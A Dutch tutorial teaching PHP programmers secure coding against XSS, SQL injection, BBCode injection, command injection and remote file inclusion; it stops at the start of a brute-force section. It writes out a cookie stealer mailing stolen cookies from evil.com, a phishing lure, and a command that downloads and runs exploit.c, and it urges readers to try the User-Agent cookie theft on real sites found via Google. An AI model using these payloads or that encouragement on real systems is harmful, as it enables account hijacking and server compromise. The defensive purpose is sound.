# Webprogrammer's Hacking Guide

door Sijmen Ruwhof

## Inhoudsopgave

## Inleiding

**Voor wie is dit artikel bedoeld?**
Voor webprogrammeurs die veilig willen programmeren of bezorgt zijn over de veiligheid van hun scripts. Het artikel is bedoeld voor beginners en gevorderden en voor iedere webprogrammeur, ongeacht de script taal.

**Denk jij dat jouw website veilig is?**
80% Van de websites op het internet hebben beveiligingslekken. Als je geen programmeer taal gebruikt, dan heb je waarschijnlijk geen beveiligingslekken in je website zitten. Dat wil nog niet zeggen dat jouw website cracker proof is. Hierop komen we later terug.

**Gebruikt jouw website een programmeer taal?**
Dan heeft jouw website waarschijnlijk beveiligingslekken. Op het eerste gezicht denk jij dat jouw website veilig is, maar ik durf te wedden dat dat niet het geval is! Waarom? Omdat programmeurs niet geleerd wordt om veilig te programmeren. Een belachelijke zaak. Iedere programmeur hoort veilig te programmeren. Daarom wil ik met dit artikel jullie een boel veel voorkomende beveiligingslekken laten zien en uit leggen hoe je zulke lekken kan voorkomen.

**Waarom dit artikel?**
Ik heb een paar PHP boeken en honderden PHP artikelen gelezen. Helaas moet ik zeggen dat beveiliging vrijwel niet aan bod komt in deze boeken of artikelen. Zo zijn bijvoorbeeld veel gegeven voorbeelden in het boek 'MySQL/PHP Database Applicaties' niet veilig en een Hoofdstuk 'Beveiliging van je scripts' ben ik dan ook nog niet tegen gekomen. Dit artikel zal je daarom ook kunnen zien als het missen de deel in jouw (PHP) boek.

**Opbouw**
Ik zal in dit artikel de theorie en de praktijk van veilig programmeren behandelen. Ik zal voorbeelden geven hoe kwaadwillige gebruikers jouw scripts misbruiken en hoe ze eventueel jouw web server kunnen overnemen.

**PHP**
Ik zal PHP voorbeelden gebruiken, maar je kan de gebruikte voorbeelden natuurlijk gewoon porten naar andere programmeertalen. Het gaat niet om de syntax maar om het principe, en dat blijft hetzelfde bij alle script talen.

**Overzicht veel voorkomende beveiligingslekken**
De meeste beveiligingslekken worden veroorzaakt doordat de *user input* niet gecontroleerd wordt. Een overzicht van wat voor lekken er ontstaan wanneer de user input niet gecontroleerd wordt:

- Cross Site Scripting
- SQL Injection
- UBB Hacks
- Arbitrary Command Execution
- Remote PHP execution
- Mime Content Type Hack;
- Session Hijacking;
- Cookies;

# 1 Cross Site Scripting

Afkorting CSS, maar omdat deze afkorting verwarring brengt met Cascading Style Sheets (CSS) noemt men Cross Site Scripting ook wel XSS. Door middel van XSS kan je cookies stelen en dus PHP sessies overnemen. Ik ben er haast van overtuigd dat op iedere site dit beveiligingslek van toepassing is.

**Voorbeeld**
Om duidelijk te maken wat XSS inhoudt, zal ik beginnen met een voorbeeld van een navigatie script:

```
<?php
if (isset($_GET['page'])) {
    print '<html>hier de opmaak van de site';
    if (file_exists($_GET['page']))
      include($_GET['page']);
    else
      print 'Page '.$_GET['page'].' does not exists!';
    print 'nog meer opmaak</html>';
}
else
  header('Location: '.$_SERVER['PHP_SELF'].'?page=news.php');
?>
```

Als het script voor het eerst wordt aangeroepen, dan wordt news.php geincluded (door page=news.php in de URL balk te zetten). Bestaat een bestand niet, dan wordt er keurig een fout melding gegeven. Dit voorbeeld hierboven is helaas een veel voorkomend script.

**Probleem**
Het probleem is dat de gebruiker de $page variabele in de URL balk kan veranderen. Voor het geval dat iemand dat gaat veranderen of wanneer de pagina niet meer bestaat, heeft de 'slimme' webmaster een foutmelding gegenereerd: 'Page $page does not exists!'. Door de pagina als volgt aan te roepen:

- http://www.example.net/index.php?page=<script>alert(document.cookie);</script>

Zul je zien dat je een javascript pop-upje ziet met daarin eventueel de inhoud van de cookies die beschikbaar zijn voor dat domain. Zo kan je dus als gebruiker javascript uitvoeren, omdat simpelweg wat je in de URL balk zet, wordt ge-echoot in de HTML.

**Wat heb je daaraan?**
Een hele boel! Ik zal je zo dadelijk laten zien hoe je dmv dit beveiligingslek een cookie kan stelen. Hiervoor hebben we nog een webhost nodig. Laten we zeggen dat we www.evil.com bezitten. Op www.evil.com hebben we een script draaien genaamd log.php met daarin:

```
<?php
if (isset($_GET['q'])) {
    @mail('owner@evil.com', 'New hit!',stripslashes($_GET['q']));
}
header("Location: http://www.example.com/login.php");
?>
```

Stel dat www.example.com een login systeem heeft, dmv het navigatie lek gaan wij nu proberen om admin op die website te krijgen. Op example.com kunnen we lezen dat het e-mail adres van de website admin 'admin@example.com' is. In dat e-mailtje sturen we de volgende link:

```
<a
  href="http://www.example.com/index.php?page=<script>document.location.replace
('http://www.evil.com/log.php?q=' +document.cookie);</script>"
  onmouseover="window.status='http://www.example.com/login.php'; return true"
  onmouseout="window.status=''; return true"
>Login page</a>
```

Als de admin van example.com met zijn muis over de link heen gaat, zou de status window van zijn browser laten zien dat de link naar zijn eigen site verwijst. Nu moeten we nog proberen om de admin op die link te laten klikken. Dus stellen we het volgende e-mailtje op:

```
Hey admin,
```

```
It seems that you login application displays a 404 error. Really annoying! Can you fix it?
<hier de link>

Regards,

Alan Wesley
```

De admin zou op de link gaan klikken, en de volgende html zou worden uitgevoerd bij de admin:

```
Page <script>document.location.replace('http://www.evil.com/log.php?q=' +document.cookie);</script>
does not exists!
```

De admin zou door de javascript worden doorverwezen naar:

```
http://www.evil.com?q=user=admin;pass=k3jd934me9memdklelsmemend
```

Alles wat na '?q=' staat zijn de (fictieve) cookies van de admin die betrekking hebben op het domain 'www.evil.com'. De cookie wordt verstuurd per e-mail naar owner@evil.com. Het script http://www.evil.com/log.php zal de admin naar de login pagina sturen, zodat de admin niets door heeft van de crack. De cracker krijgt een e-mail met de cookie gegevens van de admin. De cracker zal een cookie bij zichzelf zetten met de inhoud van de cookie van de admin. De website ziet de cookie en beschouwt de cracker als admin. De cracker heeft nu admin rechten op de website.

Deze hack heeft alleen zin als de admin is ingelogd op zijn eigen website. De meeste websites onthouden de login gegevens van de gebruikers.

PHP sessies gebruiken cookies met daarin het sessie ID. Met deze crack kun je dus ook een sessie overnemen.

**Kan je cookies faken dan?**
Ja, dat kan. Een cookie is niet meer dan een lijn van de HTTP header. Een windows programma dat HTTP headers kan spoofen is Proxomitron. Vertrouw nooit HTTP headers! Die zijn gemakkelijk te faken. De volgende variabelen moet je dus nooit vertrouwen en altijd checken of ze niet schadelijk zijn, bedenk dat ik hier een paar voorbeelden van variabelen geef, en dat dit niet een complete lijst is:

```php
$_COOKIE;
$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$_SERVER['HTTP_REFERER'];
$_SERVER['HTTP_ACCEPT'];
$_SERVER['HTTP_USER_AGENT'];

/* Deze HTTP header wordt door transparante en anonieme proxies meegestuurd en moet je
 * nooit vertrouwen! In deze variabele staat, bij transparante proxies het IP adres
 * van de bezoeker. Vertrouw dit adres niet!
 */
$_SERVER['HTTP_X_FORWARED_FOR'];

/* Er is 1 echt IP adres dat je kan vertrouwen en dat is: */
$_SERVER['REMOTE_ADDR'];
```

**Het javascript in je voorbeeld gebruikt slashes, worden die niet ge addslashes()ed ?**
Ja, dat klopt. Als je PHP configureerd hebt met de volgende optie (default):

```
magic_quotes_gpc = On
```

Dan heeft ons voorbeeld niet zo veel nut, gezien de ' wordt geconverteerd naar \'. Onze javascript zal niet werken. Er is een workaround voor dit probleem, ga naar http://www.asciitable.com en converteer onze URL (http://www.evil.com/log.php?q=) letter voor letter naar:

```
<a
  href="http://www.example.com/index.php?page=<script>
    var u =
      String.fromCharCode(0x0032)+
      String.fromCharCode(0x0045)+
      enz;
```

```
    document.location.replace(u+document.cookie);</script>”
  onmouseover=”window.status='http://www.example.com/login.php'; return true”
  onmouseout=”window.status=''; return true”
>Login page</a>
```

Bovenstaand voorbeeld zal gegarandeerd werken, gezien PHP scripts standaard een ' of een “ converteren naar \' en \”.

**Voorbeeld #2**
Het gebruikte voorbeeld van een navigatie systeem dat een XSS exploit heeft laat zien hoe je een admin kan verkrijgen op een website. Geef nooit informatie weer die een gebruiker kan veranderen. Voorbeeld van nog een script met een XSS exploit:

```
<?php
$fp = fopen('log.txt', 'a+');
fwrite($fp, $_SERVER['HTTP_USER_AGENT']."\n");
fclose($fp);

print "De volgende browsers werden gebruikt om onze pagina te bezoeken: <br /><br />";
$file = file('log.txt');
foreach ($file as $value)
  print "$value <br />";
?>
```

Dit is weer een voorbeeld van dat de user input niet gecontroleerd wordt! $_SERVER ['HTTP_USER_AGENT'] komt van een HTTP header, en kan worden aangepast. Deze variabele wordt door zoveel webprogrammeurs vertrouwd, omdat de variable door PHP wordt gegenereerd en in de $_SERVER array staat. Je kan in bijna iedere browser de browser string (User Agent) veranderen. Verander je browser string eens naar:

```
<script>document.print('<img href=”http://evil.com/log.php?q='+document.cookie);</script>
```

www.evil.com/log.php zal worden gevraagt om een plaatje, het script zal gewoon worden uitgevoerd en de cookie zal worden gelogd. Om te zorgen dat je niet een foutief plaatje krijgt, verander log.php naar:

```
<?php
if (isset($_GET['q'])) {
    $content = 'cookie: '.stripslashes($_GET['q'])."\n";
    $content = 'referrer: '.$_SERVER['HTTP_REFERER'];
    @mail('owner@evil.com', 'New hit!', $content);
}

# Print a pixel
header('Content-Type: image/gif');
print base64_decode('R0lGODlhAQABAIAAAMDAwGYAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
?>
```

**Proof of concept**
Ga naar www.google.com en zoek op 'Mozilla ( MSIE Window NT )', wees creatief. Probeer websites te zoeken die een hele lijst met User Agents weergeven. Je zal versteld staan van de hoeveelheid websites die de string $_SERVER['HTTP_USER_AGENT'] niet goed controleren. Verander je browser string en hou je mailbox eens goed in de gaten, have fun ;)

**Wat moet het dan wel ?**
Haal alles wat je weergeeft eerst door de functie htmlspecialchars($string); tekens als < en > worden dan omgezet zodat de browser die tekens weergeeft, ipv ze als HTML te zien. Voorbeeld:

```
<?php
# script.php?iets=<a href='test'>Test</a>

$new = htmlspecialchars($_GET['iets'], ENT_QUOTES);
echo $new;
# Stuurt de volgende string naar de browser:  &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>
```

## 2 SQL injection

**Voorbeeld #1**
De cracker kan SQL uitvoeren in je script. Laten we maar meteen beginnen met een voorbeeld. In dit voorbeeld wordt een script uitgevoerd die alle gebruikers van een webpagina laat zien. De bezoeker kan die lijst sorteren zodat alle gebruikers namen met een A vooraan en met een Z achteraan komen te staan in die lijst en omgekeerd. Deze opzet komt veel voor op het internet.

```
<?php
// script.php?order=desc
$query = mysql_query('SELECT username FROM users ORDER BY username '.$_GET['ORDER']);
// show it
?>
```

Je kan in SQL meerdere queries uitvoeren, door iedere query met een ';' af te sluiten. Raad maar eens wat er gebeurt als ik het script als volgt aanroep:

```
script.php?order=desc; DROP TABLE users
```

Inderdaad, de tabel 'users' zal verwijderd worden.

**Voorbeeld #2**
Nog een voorbeeld, je hebt een database opgezet waarin de gebruikers van jouw site hun persoonlijke bestanden in kunnen zetten. Je slaat de bestanden op in een directory en de bestandsnaam geef je een random naam. In de database heb je de echte naam van het bestand opgeslagen en een verwijzing naar de random naam:

```
Content map files
kdjeijfjiejfjijeifjef.doc    33 kb
werklnmwekorje.txt           3 kb

Content db tabel files
id      user_id        filename              random_name
1       1              cv.doc                kdjeijfjiejfjijeifjef.doc
2       2              passwords.doc         werklnmwekorje.txt
```

en het volgende script heb je draaien:

```
<?php
# files.php
if (!isset($_GET['login_id']))
  exit('please log in!');

$id = $_GET['id'];  # $_GET['id'] is (let's say) an unique ID from 10 chars; not guessable
$query = mysql_query('SELECT * FROM files WHERE id = '.$_GET['login_id']);
print 'Your documents: <br />';
while ($row = mysql_fetch_assoc($query))
  print '<a href="/files/'.$row['random_name'].'">'.$row['filename'].'</a><br />';
?>
```

Wat zou er gebeuren als je het document als volgt aanroept?

```
files.php?login_id=1234567890 OR 1=1
```

De volgende SQL query wordt uitgevoerd:

```
SELECT * FROM files WHERE id = 1234567890 OR 1=1
```

En ja hoor, alle persoonlijke bestanden die in de database zitten worden weergegeven! Niet de bedoeling dus! SQL injection is een serieus probleem, onderschat het niet.

**Oplossing**
Vertrouw nooit de *user input* die gebruikt wordt in een query. Als je de PHP optie magic_quotes_gpc op 'false' hebt staan, gebruik dan altijd addslashes() bij variabelen die je in een query gebruikt en gebruik altijd quotes bij statements in het WHERE  gedeelte van een query. Dus dit is veilig:

```php
$artikel = $_GET['artikel'];
if (!ini_get('magic_quotes_gpc'))      // check if the option is enabled
  $artikel = addslashes($artikel);
$query = mysql_query("SELECT iets FROM table WHERE artikel = '$artikel' ");
// gebruikt slashes in het WHERE gedeelte: WHERE artikel = 'content tussen quotes'
```

1. Zorg er dus altijd voor dat (in dit geval) $artikel door addslashes() wordt gehaald.
2. Zorg er altijd voor dat waar die van een user komt altijd tussen quotes staat in een query.

Valid SQL houdt ondermeer in dat je bij een numeriek SQL veld geen slashes moet gebruiken in de WHERE statement. Controleer dan ook altijd of de waarde van die numerieke veld ook numeriek is! Anders stel je je site open voor SQL injection. Dus hoe het wel moet bij numerieke velden:

```php
<?php
$id = 1; // (default)
if (is_numeric($_GET['id']))
  $id = $_GET['id'];
mysql_query ("SELECT * FROM table WHERE id=$id");
?>
```

Verder wil ik jullie er nog op wijzen dat ge-encrypte data uit een cookie of uit een URL variabele altijd nog ge-addslashed() moeten worden. Voorbeeld van een script die vatbaar is voor SQL injection:

```php
<?php
// script.php

// if the cookie with the user info is set, read it and get the e-mail address of the user from the
SQL database
if (isset($_COOKIE['user_info'])) {
    $data = base64_decode($_COOKIE['user_info']);
    list ($id, $username, $password) = explode(':', $data);
    $query = mysql_query("SELECT email FROM members WHERE id = '$id' AND password = '$password'");
    print mysql_result($query, 0, 'email');
}

// save our user info
else {
    $id      = 1;
    $user = 'trouby';
    $pass = md5('secretpasswd');
    $content  = base64_encode("$id:$user:$pass");
    // $content will now be 'MTp0cm91Ynk6M2U5YzliNzcxZGZkY2QyMjlhMTk0MDE1ZmViYTQ1MWM='
    setcookie('user_info', $content);
    header('Location: script.php');
}
?>
```

Je eerst indruk zal zijn dat er niks mis is met dit script, maar schijn bedriegt. De cookie wordt automatisch door addslashes() gehaald, dus daar ligt het niet aan, maar we vergeten 1 ding, de cookie is ge-base64 encoded. Dus de string 'Mtp0cm91Ynk6M2U5YzliNzcxZGZkY2QyMjlhMTk0MDE1ZmViYTQ1MWM=' wordt door addslashes() gehaald. De decoded string is niet door addslashes() gehaald en die wordt in dit script ook niet door addslashes() gehaald, foute boel dus.

Hoe buit je dit lek uit? Draai dit PHP script:

```php
<?php
print base64_encode("1:blabla:blabla'; SOME SQL; SELECT * FROM members WHERE id = '1");
?>
```

Ze de uitkomst daarvan als cookie. Het script zal nu het volgende uitvoeren in haar query:

```
SELECT email FROM members WHERE id = '1' AND password = 'blabla'; SOME SQL; SELECT * FROM members
WHERE id = '1'
```

Wanneer je dus encoding of encrypty gebruikt in een cookie, post of get variabele, gebruikt dan addslashes() over de decoded of decrypted waarde!

Als je de SQL injection hacks nog steeds niet erg goed snapt, dan doe je er goed aan om eens naar wat meer voorbeelden te kijken:

| | |
|---|---|
| PHP manual SQL injection | http://www.php.net/manual/en/security.database.php |
| PHP-Nuke hack | http://www.wiretrip.net/rfp/txt/rfp2101.txt |
| PacketStorm hack | http://www.wiretrip.net/rfp/txt/rfp2k01.txt |

**Noot**
De functie mysql_query() staat niet toe om meerdere queries uit te voeren, hoewel SQL dat wel toestaat. De bovenstaande voorbeelden waarbij meerdere queries worden uitgevoerd, gescheiden door een ';' zullen daarom niet werken via de PHP functie mysql_query(). SQL ondersteunt wel meerdere queries dus daarom heb ik ook meerdere querie hacks opgenomen in mijn voorbeelden.

## 3 UBB Hacks

Veel websites hebben een alternatieve opmaak systeem gemaakt voor hun gebruikers. Voorbeelden:

```
[b]bold[/b]
[i]italic[/i]
[img]http://www.example.com/images/me.jpg[/img]
[url=http://www.example.com]Example[/url]
```

Worden omgezet naar HTML:

```
<b>bold<b>
<i>italic</i>
<img src="http://www.example.com/images/me.jpg" />
<a href="http://www.example.com">Example</a>
```

Stel dat de webmaster de volgende functie gebruikt:

```
<?php
function ubb ($userInput)
{
    $userInput = htmlspecialchars($userInput, ENT_QUOTES); # Laat geen HTML toe!
    $userInput = nl2br($userInput);
    $ubb = array(
      '[b]',
      '[/b]',
      '[i]',
      '[/i]',
      '[img]',
      '[/img]'
    );
    $html = array(
      '<b>',
      '</b>',
      '<i>',
      '</i>',
      '<img src=',
      ' />'
    );
    $userInput = str_replace($ubb, $html, $userInput);
    $userInput= eregi_replace(
      "\\[url=([^\\[]*)\\]([^\\[]*)\\[/url\\]",
      "<a href=\\1>\\2<a>",
      $userInput
    );
    print $userInput;
}
?>
```

Op het eerste gezicht lijkt dit veilig, immers de user input wordt door htmlspecialchars() gehaald. De webprogrammeur in dit voorbeeld vergeet de user input in de UBB tags te checken! Foute boel dus. Stel dat ik (als gebruiker van dit script) de volgende UBB syntax toepas:

```
[url=# onmouseover=alert(document.cookie)]yo[/url]
```

En zo kunnen we toch nog javascript uitvoeren, terwijl er htmlspecialchars() over de user input is gedaan. De volgende link wordt gegenereerd:

```
<a href=# onmouseover=alert(document.cookie)>yo</a>
```

Ik kan je verzekeren dat heel veel websites die UBB gebruiken deze exploit (beveiligings gat) hebben. Behalve de [url] tag, zijn er nog veel meer UBB hacks. Ik ga ze niet allemaal uitvoerig bespreken.

```
[img]javascript:alert(document.cookie)[/img] <img src=javascript:alert(document.cookie)>
[img]# onload=alert(document.cookie)[/img]   <img src=# onload=alert(document.cookie)>
```

### 3.1 Hoe beveilig ik me tegen UBB hacks?

In mijn voorbeeld gebruik ik de volgende regex (Reguliere Expressie) om de UBB te parsen:

```
$userInput = eregi_replace(
  "\\[url=([^\\[]*)\\]([^\\[]*)\\[/url\\]",
  "<a href=\\1>\\2<a>",
  $userInput
);
```

Ik zet geen quotes om href argument heen (<a href=\\1>\\2</a>). Het principepe is weer hetzelfde als de SQL injection exploit, waar geen quotes om de WHERE statement wordt gezet:

```
mysql_query('SELECT name FROM user WHERE id='.$_GET['id']);
```

Door quotes om de HTML tag argumenten te plaatsen, kan de gebruiker niet uit het argument komen met magic_quotes_gpc op On. Dus:

```
$userInput = eregi_replace(
  "\\[url=([^\\[]*)\\]([^\\[]*)\\[/url\\]",
  "<a href='\\1'>\\2<a>",// all user input will be between our quotes: '\\1'
  $userInput
);
```

Lost de volgende exploit op:

```
[url=# onmouseover=alert(document.cookie)]yo[/url]     // UBB hack; user input
<a href='# onmouseover=alert(document.cookie)'>yo</a>  // JS will not get executed
```

Want alles wat na de '=' komt (dus na [url=), wordt als waarde gezien voor de HREF argument. Gezien de userinput door addslashes() wordt gehaald (door de optie magic_quotes_gpc op On) kan de gebruiker geen quote (') gebruiken om uit onze HREF argument te komen, want een userinput quote wordt immer omgezet naar: \'.

Maar door in ons script quotes te zetten bij de argumenten van HTML tags (dus <a href='link'>text</a>), lossen we niet alle UBB hacks mee op. De bij <a href='link'> kunnen we ook 'javascript:' als link invoeren. De browser zal dan alles na 'javascript:' als javascript zien. De volgende UBB hack is daarom net zo erg als onze voorgaande behandelde UBB hacks:

```
[url=javascript:alert(document.cookie)]yo[/url]    // UBB hack; user input
<a href='javascript:alert(document.cookie)'>yo</a> // JS will get executed
```

**Oplossing**
Hoe fixen we dit? Door een eigen noXSS() functie te maken. Waarom? Omdat htmlspecialchars() alleen, onvoldoende bescherming biedt.

```
<?php
/* noXSS (a)
*   String a: Input that you want to print in a
*
* Description
* Use this function if you want to print user input as an argument in a HTML
* tag. Don't allow XSS JS attacks in your webapplication and use this function
* instead of using htmlspecialchars(), which doesn't protect you against the
* javascript: protocol.
*
* Return
* It will return false if
* the beginning of the input string contains 'javascript:', otherwise it will
* return
*
* Examples
* <?php
* print '<a href="'.$_GET['input'].'>link</a>';
* ?>
*
* input: 'javascript:alert()'               output: bool false
* input: 'JAVAscript:alert()'               output: bool false
* input: ' javascript:alert()'               output: bool false
* input: '&#32;javascript:alert()'           output: bool false
* input: 'javas&#99;ript:alert()'           output: bool false
* input: '&#32;Javas&#99;ript:alert()'       output: bool false
```

```
* input: 'test <a href="#">'                output: test &lt;a href=&quot;#&quot;&gt;yo
* input: '"><script>alert()</script><"'    output: &quot;&gt;&lt;script&gt;alert()
&lt;/script&gt;&lt;&quot;
* input: "'><script>alert()</script><'"    output: &#039;&gt;&lt;script&gt;alert()
&lt;/script&gt;&lt;&#039;
*/
function noXSS ($input)
{
       # convert all input charakters to lowercase and convert ascii encoded charakters to normal
charakters
       $inputTmp = trim(asciiDecode(strtolower($input)));

       # check if the user wants to execute javascript
       if (substr($inputTmp, 0, 11) == 'javascript:') {
           trigger_error("Someone tried to exploit our UBB system! Original input: '$input'",
E_USER_WARNING);
           return false;
       }

    # replace: <, >, &, ", ' to ascii encoded values
    return htmlspecialchars($input, ENT_QUOTES);
}

/* asciiDecode (a)
*   String a: Text string
*
* Description
* All ASCII codes will be decoded in their represented value.
*/
function asciiDecode($input)
{
    # get all ASCII encoded values
    preg_match_all("(&#([0-9]{1,3});)", $input, $matches);
    $asciiCodes = array_unique($matches[1]);

    # replace them with their representing value
    foreach ($asciiCodes as $asciiNr)
        $input = str_replace("&#$asciiNr;", chr($asciiNr), $input);
    return $input;
}
?>
```

Deze functie houdt alleen niet het volgende tegen:

```
<?php
// script.php
print '<a href="#" onmouseover="'.noXSS($_GET['x']).'">link</a>';
?>
```

aangezien 'onmouseover' er al vanuit gaat dat de input javascript is, kan je dmv de volgende input toch nog javascript uitvoeren:

```
script.php?x=alert(document.cookie)
```

Wat resulteert in:

```
<a href="#" onmouseover="alert(document.cookie)">link</a>
```

maar ik neem aan dat je geen user input wilt hebben in zulke 'gevaarlijke' plaatsen..

### 3.2 Flash in UBB

Veel webprogrammeurs laten Flash filmpjes in forums of nieuws comments geschreven door gebruikers toe. Vergeten wordt dat je in Flash ActionScript hebt. Door de functie getURL() te gebruiken van ActionScript kan je ook javascript uitvoeren. Maak een Flash document aan die de volgende functie gebruikt:

```
getURL(“javascript:alert(document.cookie)”)
```

Door Flash te misbruiken kan je dus javascript uitvoeren. We hebben eerder gezien dat je dmv javascript cookies kan stelen. Macromedia weet van deze exploit af en heeft een oplossing bedacht. Te zien op:

http://www.macromedia.com/devnet/security/security_zone/mpsb02-08.html

In dat document staat dat je een extra parameter aan Flash moet toevoegen, standaard staat ActionScript dus aan. Deze parameter heet 'AllowScriptAccess':

```
Internet Explorer
<object classid='clsid: D27CDB6E-AE6D-11cf-96B8-444553540000'>
  <param name=”movie” value=”flash.swf” />
  <param name=”AllowScriptAccess” value=”never” />
</object>

Netscape / Mozilla
<embed src=”flash.swf” AllowScriptAccess=”never” />
```

Standaard staat de parameter AllowScriptAccess op 'always', wat betekent dat Access Script altijd aan staat. Door de parameter op 'never' te zetten, zet je dus ActionScript in Flash uit.

**Conclusie**
Op het eerste gezicht leek onze UBB parser veilig. Maar toch vergaten we nog de user input goed te controleren. Bekijk altijd goed wat je script doet en of je de user input wel goed controleert. Denk niet te simpel en volg wat er met de user input gebeurt in je script.

## 4 Arbitrary Command Execution

Ongecontroleerde *user input* zodat de gebruiker commands kan laten uitvoeren op de server onder de gebruikersnaam waar PHP onder draait. Draai PHP daarom ook nooit als root! Helemaal niet nodig. Stel we hebben de het volgende script:

```
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $options = empty($_POST['options']) ? '' : '-'.$_POST['options'];
    print '<pre>';
    exec ("/bin/ls $options");
    print '</pre>';
}
?>
<br />
<br />
<form action='script.php' method='post'>
  <input type='text' name='options' />
  <input type='submit' />
</form>
```

We vullen het formulier in en in het tekst veld 'options' vullen we het volgende in:

```
al; wget http://www.evil.com/exploit.c; gcc exploit.c -o exploit; chmod 0700 exploit; ./exploit;
unlink exploit.c
```

Dit doet het volgende:
- we roepen /bin/ls met argument '-al' aan. Dit geeft een (onbelangrijke voor ons) gedetailleerde overzicht van alle bestanden in de huidige map.
- het bestand 'http://www.evil.com/exploit.c' wordt gedownload (wget is niet standaard geinstalleerd);
- exploit.c wordt gecompiled en gesaved als 'exploit' (executables in linux, unix en BSD hoeven niet de extensie '.exe' te hebben)
- we geven het bestand uitvoer rechten.
- vervolgens voeren we de exploit uit.
- we verwijderen de source

Als de exploit werkt, kunnen we zelfs root (administrator) rechten verkrijgen zo. Je kunt natuurlijk wel nagaan dat dit fatale gevolgen heeft voor de beveiliging van de webserver. Er zijn behalve exec() nog meer functies die shell commands op de webserver uitvoeren. Niet te vergeten is dat commands tussen backtics ` ` hetzelfde resultaat hebben als dat je een shell functie van PHP gebruikt.

## 5 Remote PHP execution

Dit is een leuk gat om uit te buiten. Remote PHP execution betekent eigenlijk dat je vanaf afstand PHP uitvoert op een server. Dus de PHP code staat op server B en die wordt gelezen en uitgevoerd op server A. Als voorbeeld van een veel voorkomend script dat dit gat heeft, geeft ik weer het navigatie script weer, die we ook gebruikt hebben bij de Cross Site Scripting sectie:

```
<?php
// www.example.com/script.php
if (isset($_GET['page'])) {
    print '<html>hier de opmaak van de site';
    if (file_exists($_GET['page']))
      include($_GET['page']);
    else
      print 'Page '.$_GET['page'].' does not exists!';
    print 'nog meer opmaak</html>';
}
else
  header('Location: '.$_SERVER['PHP_SELF'].'?page=news.php');
?>
```

We gaan de volgende PHP commands uitvoeren op de sever van example.com:

```
<?php
// www.evil.com/evilcode.txt
print '<pre>';
system('/bin/ls -al');
print '</pre>';
?>
```

Dit script zal op een Linux server de inhoud van de huidige directory lezen en weergeven. Wat gebeurt er nu als ik het navigatie script als volgt aanroep:

```
http://www.example.com/script.php?page=http://www.evil.com/evilcode.txt
```

script.php zal de inhoud van evilcode.txt gaan lezen en als PHP parsen. De functie include() kan remote bestanden includen, iets wat veel PHP ontwikkelaars niet weten. We kunnen dmv dit navigatie script PHP uitvoeren op de server van example.com. Zeer gevaarlijk lek! En toch hebben een heleboel websites dit lek..

**Noot**
Ik moet wel even vermelden dat de functie file_exists() niet met remote bestanden kan werken in PHP 4, dus wanneer dit script zou draaien op een PHP 4 server, dan was onze crack poging niet gelukt. In PHP 5 kan file_exists() ook remote betanden aan..

### Oplossing

Check de user input en lees de manual van de functie! Er zijn genoeg comments die aangeven dat dit een potentiele gevaarlijke functie is. Dus nog een tip, lees altijd de manual en de comments op php.net door. Zo kom je niet voor verassingen te staan.

Remote PHP Execution werkt alleen als de configuratie optie 'allow_url_fopen' op true staat. Deze configuratie optie bespreken we later uitvoeriger.

Je wilt toch nog een soort gelijke navigatie systeem gebruiken? Dan raad ik het volgende aan:

```
<?php
ini_set('allow_url_fopen', false); # only works in PHP 4 – PHP 5 doesn't allow this configuration
option to be changed during script execution
if (isset($_GET['page']) && strpos($_GET['page'], '..') === false && strpos($_GET['page'], '/') ===
false)
  if (strpos($_GET['page'], '://') === false && file_exists($_GET['page'].'.php')
    include './'.$_GET['page'].'.php';
  else
    trigger_error("Someone tried to execute remote PHP!", E_USER_WARNING);
else
  include 'main.php';
?>
```

Het script kan geen remote bestanden doordat allow_url_fopen op false wordt gezet en we kijken of $_GET['page'] een protocol scheiding heeft (://). Heeft $_GET['page'] de teken combinatie '://' dan triggeren we een error, zodat jouw error handler de zaak verder afhandelt.

Volledig veilig is dit script ook weer niet. Zo kan kan je dmv dit script ieder bestand in de directory waar het script draait includen als het op .php eindigt en PHP read access op heeft. Wil je jouw script helemaal super veilig hebben dan raad ik het volgende statische script aan:

```
<?php
$files = array(
  'contact' => 1,
  'info' => 1
);
if (isset($_GET['page']) && isset($files[$_GET['page']]))
  include './'.$_GET['page'].'.php';
?>
```

**Wezelijkheid van Remote PHP execution**
Heel erg! Zo ontving ik vandaag een error e-mail van een website die ik voor een klant gemaakt had. Daarin stond:

```
Er is een error op de website, bekijk het fouten rapport on-line voor gedetailleerde informatie.

error_id = 3;
error_type = E_USER_WARNING;
error_msg = 'Hoofdgroep en Subgroep ID matchen niet met elkaar!';
error_type = '01-07-2004 06:34';
```

Na het gedetailleerde fouten rapport bestudeerd te hebben (ik vind het fijn om hele gedetailleerde fouten rapporten te maken dmv mijn error handler), zag ik dat een gegeven persoon de volgende URL probeerde aan te roepen:

```
cart.php?hoofdgroep_id=http://212.45.23.21&subgroep_id=http://212.45.23.21
```

de inhoud van http://212.45.23.21:

```
kFjenenRke
```

Ik vermoed een geautomatiseerde crack poging. Waarom?
- Aangezien alle variabelen in de url balk een site adres bevatten; Zo heeft een geautomatiseerde de crack poging meer kans van slagen.
- Het site adres is een IP. Een DNS is veel trager omdat die geresolved moet worden. Bovendien zou het slimmer zijn geweest om bij een gratis DNS service je echte IP te verbergen, dus dat http://212.45.23.21 http://user.cjp.net wordt. Na de crack poging hef je de account gewoon weer op en het adres van de gebruikte webserver blijft verborgen.
- Ik denk dat het crack programma kijkt of de tekenreeks 'kFjenenRke' in de output voorkomt. Zoja dan heeft PHP het bestand geincluded. De cracker wordt op de hoogte gesteld dat de website vatbaar is voor Remote PHP Execution.

Na gegoogled te hebben op het IP adres, werd mijn vermoeden bevestigd. Meer webmasters was de crack poging opgevallen.

**Conclusie**
Zorg dat je errors logt en dat je die log files ook bekijkt. Zet eventueel een ban systeem op: wanneer je script vermoed (zoals bijv in ons navigatie systeem wanneer de tekenreeks '://' voorkomt) dat je te maken hebt met een crack poging dat je het IP adres van de bezoeker meteen blokkeert op je website. PHP Nuke heeft bijv. een module hiervoor.

## 6 Brute force

Dit is vooral van toepassing op login scripts. *Brute force* betekent 'brute kracht', dus zonder intelligentie iets voor mekaar krijgen. We beginnen weer met een voorbeeld:

```
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST')
  if ($_POST['username'] == 'trouby' && $_POST['password'] == 'passwd')
    print 'secret';
  else
    header('Location: script.php');
else {
?>
<form action='script.php' method='post'>
  Username: <input type='text' name='username' /> <br />
  Password: <input type='password' name='password' /> <br />
  <input type='submit' />
</form>
<?php
}
?>
```

